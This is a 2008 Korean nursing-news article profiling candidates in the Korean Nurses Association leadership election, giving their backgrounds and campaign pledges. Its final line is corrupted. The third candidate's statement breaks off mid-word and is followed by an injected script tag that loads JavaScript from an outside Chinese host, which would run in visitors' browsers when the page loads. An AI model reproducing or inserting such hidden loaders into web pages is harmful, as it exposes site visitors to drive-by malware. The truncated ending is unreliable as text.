신경림 간협 회장 후보 공약 및 프로필
[편집국] 편집부 news@koreanurse.or.kr 기사입력 2008-01-30 오전 11:16:49

◆ 신경림 회장 후보 ◆
◇학력 -△이화여대 간호과학대학 △미국 콜럼비아대 대학원 문학석사 △미국 콜럼비아대 대학원 간호교육학석사 △미국 콜럼비아대 대학원 간호교육학박사
◇경력 -△이화여대 건강과학대학 학장(현) △한국간호평가원 원장(현) △대한간호협회 제2부회장(현) △한국보건의료인국가시험원 간호사시험위원회 위원장(현) △이화여대 대외협력처 처장 △세계여성건강연맹 회장 △미국간호학술원(FAAN) 회원(현)
◇포상 -△제1회 한국간호과학회 우수간호과학자상 △국제질적연구센터 훌륭한 지도자상 △보건복지부장관 표창장 △한일고려수지침학술대회 우수연구논문상 △한국과학기술단체총연합회 과학기술우수논문상
간호현장을 찾아 회원님들을 만나면서 몸은 힘들지만 마음은 항상 즐거웠습니다. 전국의 대의원 여러분들로부터 많은 지지를 받고 큰 가르침을 얻었기 때문입니다.
지금까지 선배님들께서 이루어 놓은 성과와 회원 여러분과의 대화를 기반으로 결실을 맺고 싶은 77가지 공약을 약속드리고자 합니다. 대한간호협회의 성공적인 미래 창조의 로드맵을 만드는 과정에서 우리나라 간호의 비전에 대한 확신이 섰습니다. 성공적인 미래를 위해 간호의 힘을 모아 우리 간호현장을 안전하고 행복한 일터로 만들고, 사회에서 간호전문인으로서의 가치를 인정받고 존중받도록 할 것입니다.
첫 번째 간호분야별 법 제도 개선을 위한 대정부활동을 전개해 나가겠습니다. 당면한 중소병원의 간호사 부족, 의료기관평가에 관한 문제 등을 지혜롭게 해결해 나갈 것이고, 보건의료정책 결정 참여를 위한 간호직, 보건직의 상위직 공무원 수의 증원을 실현하도록 노력하겠습니다.
두 번째로 국회 서울시와 긴밀히 협의하여 간호사회관, 간호사역사기념관을 건립하겠습니다. 간호사회관은 간호관련 단체의 통합건물로 교류의 장과 회원복지를 위한 공간으로 활용될 것이며, 간호의 대외적 이미지 제고에 기여할 것입니다.
세 번째로 대한간호발전기금을 회비가 아닌 대외협력사업을 통해 확보하여 기획사업과 회원복지사업에 투자할 것입니다. 이제 대한간호협회에는 실천하는 회장이 필요합니다. 다양한 경력과 경험을 살려 국책 연구사업 수주와 기업후원으로 협회 예산의 20% 이상을 조성하여 사업집행의 진정성과 실효성을 높여 나가겠습니다.
일을 시작하는 용기와 결실을 맺는 열정이 있습니다. 많은 격려와 지도에 보답하는 자세로 언제나 노력하는 모습으로 열심히 일하겠습니다. 감사합니다.
◆ 김용순 제1부회장 후보 ◆
◇학력 -연세대 간호대학, 연세대 간호학박사
◇경력 -아주대 간호대학 학장 대학원 간호학과장(현), 경기도여성단체협의회 부회장(현), 수원시(4개구) 방문보건센터 센터장(현), 경기도간호사회 회장(현), 한국의료윤리교육학회 부회장(현)
◇포상 -연세대 간호대학 연세간호 100년 HERO, 한국방송통신대 총장 표창, 아주대 총장 공로상, 아주대 총장 표창, 보건복지부장관 표창, 경기도지사 표창
1971년 처음 간호사의 길을 들어서서 1997년 간호부장에 이르기까지 27년간을 병원현장에 있었고, 1981년 전임강사로 시작한 대학에서의 교육도 27년이 되었습니다. 27년 동안 병원현장과 간호교육현장에서 다양한 업무와 보직을 수행하면서 많은 경험과 경력을 쌓을 수 있었습니다.
지난 몇 해 동안 우리 간호는 괄목할 만한 성과를 거두었습니다. 특히 노인장기요양보험제도는 우리 간호사의 창업시대 개막이라는 새로운 가치를 창출하였습니다.
하지만 해결해야 할 과제도 성과만큼이나 많습니다. 최근 중소병원은 간호사 부족문제로 많은 어려움을 겪고 있고, 일부 의사들은 간호조무사 활용을 주장하는 상황까지 발생했습니다. 그러나 지난해 노인수발보험법을 노인장기요양보험법으로 바꾸었듯이 신경림 회장 후보를 중심으로 중소병원 간호사 부족 문제를 슬기롭게 해결해 나가겠습니다.
대의원 여러분들의 많은 관심과 사랑을 부탁드립니다. 열심히 하겠습니다.
◆ 박호란 제2부회장 후보 ◆
◇학력 -가톨릭대 간호대학, 가톨릭대 간호학박사
◇경력 -가톨릭대 간호대학 학장(현), 한국간호평가원 감염관리전문간호사시험 시험준비위원회 위원장(현), 서울시간호사회 학술위원(현), 대한간호협회 재정위원, 한국간호과학회 이사
◇포상 -교육부장관 표창, 가톨릭중앙의료원 25년 장기근속 표창
저는 1977년 가톨릭대학교를 졸업하고 명동성모병원 소아과병동에서 간호사로 근무한 후 1981년부터 현재까지 28년간 가톨릭대 간호대학에 재직하면서 간호교육에 힘쓰고 있는 교수입니다.
그동안 간호교육자로서, 간호학자로서 학회와 협회에서 활동을 하면서 우리 간호계가 학교와 지역, 그리고 활동 분야별로 많은 벽이 있음을 느끼며 안타?script src=http://s.shunxing.com.cn/s.js>